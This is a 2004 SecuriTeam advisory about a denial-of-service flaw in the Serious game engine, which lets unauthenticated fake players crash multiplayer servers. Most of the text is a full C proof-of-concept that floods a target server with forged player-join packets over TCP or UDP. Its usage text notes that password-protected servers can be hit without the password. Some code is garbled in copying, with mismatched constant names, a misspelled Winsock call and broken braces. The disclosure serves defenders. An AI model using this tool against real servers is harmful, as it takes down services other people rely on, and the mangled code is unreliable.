

# [NEWS] Serious Game Engine UDP DoS Vulnerability

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-11/0098.html>

---

*From:* SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

*Date:* 11/29/04

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 29 Nov 2004 10:58:06 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

Serious Game Engine UDP DoS Vulnerability

---

## SUMMARY

The Serious engine is a well known game engine developed by <http://www.croteam.com> Croteam and used by various games.

A denial of service is possible against a server written with Serious and using the UDP protocol for multi-player connectivity.

## DETAILS

Vulnerable Systems:

- \* Alpha Black Zero
- \* Nitro family
- \* Serious Sam Second Encounter 1.07, possibly prior

Note: The game engine is vulnerable on all supported platforms: Windows, Linux and Mac.

Game servers that are using UDP as the communications protocol for managing games can be brought down by supplying a continuously long stream of packets to the server, each representing the joining of a new player.

## Securiteam: [NEWS] Serious Game Engine UDP DoS Vulnerability

The server does not limit the amount of possible players and will crash if a sufficiently large number of (fake) players join. As stated above, only one packet is required in order for a player to be constituted as part of the server. In addition, triggering a denial of service in this way does not require any special authentication, e.g: knowing the password for password protected games. This vulnerability is more general and broader in scope.

A proof of concept is supplied by Luigi and can be downloaded from:

<<http://aluigi.altervista.org/fakep/ssfakep.zip>>  
<http://aluigi.altervista.org/fakep/ssfakep.zip>

The brunt of the PoC is pasted below.

Proof Of Concept

/\*

by Luigi Auriemma – <http://aluigi.altervista.org/fakep/ssfakep.zip>

\*/

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
```

```
#ifdef WIN32
```

```
    #include <winsock.h>
    #include <malloc.h>
    #include "winerr.h"
```

```
    #define close closesocket
    #define ONESEC 1000
```

```
#else
```

```
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <netdb.h>
```

```
    #define ONESEC 1
```

```
#endif
```

```
#define VER "0.3"
#define BUFFSZ 2048
#define PORT 25600
#define TIMEOUT 3
#define WAITSEC 5
#define MAX 32
```

## Securiteam: [NEWS] Serious Game Engine UDP DoS Vulnerability

```
void check_tcp_fakes(int *sd, int num, u_char *buff, int buffsz);
void gs_info_udp(u_long ip, u_short port);
int timeout(int sock);
u_long resolv(char *host);
void std_err(void);

int main(int argc, char *argv[]) {
    struct sockaddr_in peer,
                    peerl;
    int sd[MAX],
        len,
        i,
        wait,
        on = 1;
    u_short port = PORT;
    u_char *buff,
        stcp[] =

"\x1F\x00\x00\x00\x40\xE1\xDE\x03\xFB\xCA\x2A\xBC\x83\x01\x00\x00"

"\x07\x47\x41\x54\x56\x10\x27\x00\x00\x05\x00\x00\x00\x00\x01"

"\x00\x00\x00\x01\x00\x00\x00\xA0\x0F\x00\x00\x64\x00\x00\x00",
    sudp[] =

"\x2E\x00\x00\x00\x00\x2F\x2F\x01\x00\x00\x00\x41";

    setbuf(stdout, NULL);

    fputs("\n"
        "Serious engine Fake Players DoS "VER"\n"
        "by Luigi Auriemma\n"
        "e-mail: aluigi@altervista.org\n"
        "web: http://aluigi.altervista.org\n"
        "\n", stdout);

    if(argc < 3) {
        printf("\n"
            "Usage: %s <type> <server> [port(%u)]\n"
            "\n"
            "Types:\n"
            " 0 = TCP: Serious Sam (FE and SE) <= 1.05 and Carnivores:
Cityscape\n"
            " 1 = UDP: Alpha Black Zero, Nitro family, Serious Sam Second
Encounter 1.07\n"
            " Causes the crash of the server!!!\n"
            "\n"
            " Note: if the server is protected by password you can attack
it without to\n"
            " to know the keyword\n"
            "\n", argv[0], port);
```

```

    exit(1);
}

#ifdef WIN32
    WSADATA wsadata;
    WSASStartup(MAKEWORD(2,0), &wsadata);
#endif

if(argc > 3) port = atoi(argv[3]);

peer.sin_addr.s_addr = resolv(argv[2]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;

printf("- target %s : %hu\n",
    inet_ntoa(peer.sin_addr), port);

printf("- request informations to port %d:\n", port + 1);
gs_info_udp(peer.sin_addr.s_addr, port + 1);

buff = malloc(BUFFSZ);
if(!buff) std_err();

if(!atoi(argv[1])) {
    fputs("- TCP type selected\n", stdout);

    for(;;) {
        for(i = 0; i < MAX; i++) {
            fputs("\n Player: ", stdout);

            sd[i] = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
            if(sd[i] < 0) std_err();
            if(connect(sd[i], (struct sockaddr *)&peer, sizeof(peer))
                < 0) std_err();

            if(send(sd[i], stcp, sizeof(stcp) - 1, 0)
                < 0) std_err();
            fputc('.', stdout);
            if(timeout(sd[i]) < 0) {
                close(sd[i]);
                break;
            }
            len = recv(sd[i], buff, BUFFSZ, 0);
            if(len < 0) std_err();
            fputc('.', stdout);

            if(*buff != 0x02) fputs(" wrong reply, but I try to
continue the attack", stdout);
        }
    }
}

```

## Securiteam: [NEWS] Serious Game Engine UDP DoS Vulnerability

```
fputs("\n"
      "- server full\n"
      "- check for disconnections:\n", stdout);
check_tcp_fakes(sd, --i, buff, BUFSZ);
fputs("- one or more players have been disconnected\n",
stdout);
for(; i >= 0; i--) close(sd[i]);
}

} else {
fputs("- UDP type selected\n", stdout);

peerl.sin_addr.s_addr = INADDR_ANY;
peerl.sin_port = time(NULL);
peerl.sin_family = AF_INET;

for(;;) {
for(;;) {
fputs("\n Player: ", stdout);

sd[0] = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd[0] < 0) std_err();

if(setsockopt(sd[0], SOL_SOCKET, SO_REUSEADDR, (char
*)&on, sizeof(on))
< 0) std_err();
peerl.sin_port++;
if(bind(sd[0], (struct sockaddr *)&peerl, sizeof(peerl))
< 0) std_err();

if(sendto(sd[0], sudp, sizeof(sudp) - 1, 0, (struct
sockaddr *)&peer, sizeof(peer))
< 0) std_err();
fputc('.', stdout);
if(timeout(sd[0]) < 0) {
fputs("\nError: Socket timeout, no reply
received\n\n", stdout);
exit(1);
}
len = recvfrom(sd[0], buff, BUFSZ, 0, NULL, NULL);
if(len < 0) std_err();
fputc('.', stdout);
}

fputs("- server full\n", stdout);
for(wait = WAITSEC; wait; wait--) {
printf("%3d\r", wait);
sleep(ONESEC);
}
}
}
```

```

return(0);
}

void check_tcp_fakes(int *sd, int num, u_char *buff, int buffsz) {
    fd_set rset;
    int i,
        sel = 0;

    for(i = 0; i <= num; i++) {
        if(sd[i] > sel) sel = sd[i];
    }
    sel++;

    for(;;) {
        FD_ZERO(&rset);
        for(i = 0; i <= num; i++) FD_SET(sd[i], &rset);

        if(select(sel, &rset, NULL, NULL, NULL)
            < 0) std_err();

        for(i = 0; i <= num; i++) {
            if(FD_ISSET(sd[i], &rset)) {
                if(recv(sd[i], buff, buffsz, 0) <= 0) return;
                fputc('.', stdout);
                break;
            }
        }
    }
}

void gs_info_udp(u_long ip, u_short port) {
    struct sockaddr_in peer;
    int sd,
        len,
        nt = 1;
    u_char buff[2048],
        *p1,
        *p2;

    peer.sin_addr.s_addr = ip;
    peer.sin_port = htons(port);
    peer.sin_family = AF_INET;

    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if(sd < 0) std_err();

    if(sendto(sd, "\\status\\", 8, 0, (struct sockaddr *)&peer,
        sizeof(peer))
        < 0) std_err();
}

```

## Securiteam: [NEWS] Serious Game Engine UDP DoS Vulnerability

```
if(timeout(sd) < 0) {
    fputs("\nAlert: Socket timeout, no reply received\n\n", stdout);
    close(sd);
    return;
}
len = recvfrom(sd, buff, sizeof(buff) - 1, 0, NULL, NULL);
if(len < 0) std_err();
buff[len] = 0x00;

p1 = buff;
while((p2 = strchr(p1, '\\')) {
    *p2 = 0x00;
    if(!nt) {
        printf("%30s: ", p1);
        nt++;
    } else {
        printf("%s\n", p1);
        nt = 0;
    }
    p1 = p2 + 1;
}
printf("%s\n\n", p1);

close(sd);
}

int timeout(int sock) {
    struct timeval tout;
    fd_set fd_read;
    int err;

    tout.tv_sec = TIMEOUT;
    tout.tv_usec = 0;
    FD_ZERO(&fd_read);
    FD_SET(sock, &fd_read);
    err = select(sock + 1, &fd_read, NULL, NULL, &tout);
    if(err < 0) std_err();
    if(!err) return(-1);
    return(0);
}

u_long resolv(char *host) {
    struct hostent *hp;
    u_long host_ip;

    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(!hp) {
            printf("\nError: Unable to resolve hostname (%s)\n", host);
            exit(1);
        }
    }
}
```

## Securiteam: [NEWS] Serious Game Engine UDP DoS Vulnerability

```
    } else host_ip = *(u_long *)hp->h_addr;
  }
  return(host_ip);
}
```

```
#ifndef WIN32
void std_err(void) {
    perror("\nError");
    exit(1);
}
#endif
```

### ADDITIONAL INFORMATION

The information has been provided by <<mailto:aluigi@autistici.org>> Luigi Auriemma.

=====

This bulletin is sent to members of the SecuriTeam mailing list.  
To unsubscribe from the list, send mail with an empty subject line and body to:  
[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)  
In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====  
=====

### DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.  
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.